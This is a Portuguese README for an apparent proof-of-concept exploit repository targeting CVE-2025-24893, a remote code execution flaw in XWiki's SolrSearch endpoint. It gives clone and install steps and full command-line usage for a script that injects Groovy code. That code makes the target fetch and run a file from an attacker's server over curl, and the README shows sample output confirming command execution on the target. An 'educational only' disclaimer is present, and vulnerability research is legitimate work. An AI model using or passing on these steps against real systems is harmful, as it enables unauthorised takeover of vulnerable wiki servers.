
PoC para CVE-2025-24893
Este repositório contém um exploit de Prova de Conceito (PoC) para a vulnerabilidade de Execução Remota de Código (RCE) no XWiki identificada como CVE-2025-24893. A vulnerabilidade permite que um atacante execute código arbitrário em uma instância XWiki alvo ao enviar uma requisição maliciosa para o endpoint SolrSearch. Este script suporta destinos HTTP e HTTPS.
⚠️ Aviso: Este PoC é destinado apenas para fins educacionais e de pesquisa. O uso não autorizado deste código contra sistemas sem permissão explícita é ilegal e antiético. Sempre obtenha autorização adequada antes de testar qualquer sistema.
A vulnerabilidade surge devido ao tratamento inadequado da entrada do usuário no endpoint SolrSearch, permitindo a injeção de código Groovy através de um payload malicioso. Este PoC demonstra como um atacante pode explorar isso para executar comandos arbitrários no servidor alvo.
requests, argparse, urllib.parse, re, htmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
O script envia uma requisição HTTP/HTTPS maliciosa para a instância XWiki alvo, injetando um payload Groovy que executa um comando curl para buscar e executar um arquivo de um servidor controlado pelo atacante.
Execute o script com o seguinte comando:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: A URL base da instância XWiki alvo (ex.: http://target ou https://target).--server: O IP ou hostname do servidor do atacante, incluindo a porta se necessário (ex.: 192.168.1.100:8080). Suporta HTTP e HTTPS.--file: O nome do arquivo no servidor do atacante contendo o código a ser executado (ex.: exploit.sh).--no-verify: Flag opcional para desabilitar a verificação SSL para destinos HTTPS (use com cautela, apenas para testes).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
Para ignorar a verificação SSL (ex.: para certificados auto-assinados):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
Isso irá:
curl.exploit.sh) do servidor do atacante (http(s)://192.168.1.100:8080).O script extrai a resposta do alvo, remove tags HTML (ex.: <br/>, <del>), e converte entidades HTML para texto simples para legibilidade. A saída limpa é exibida no console.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.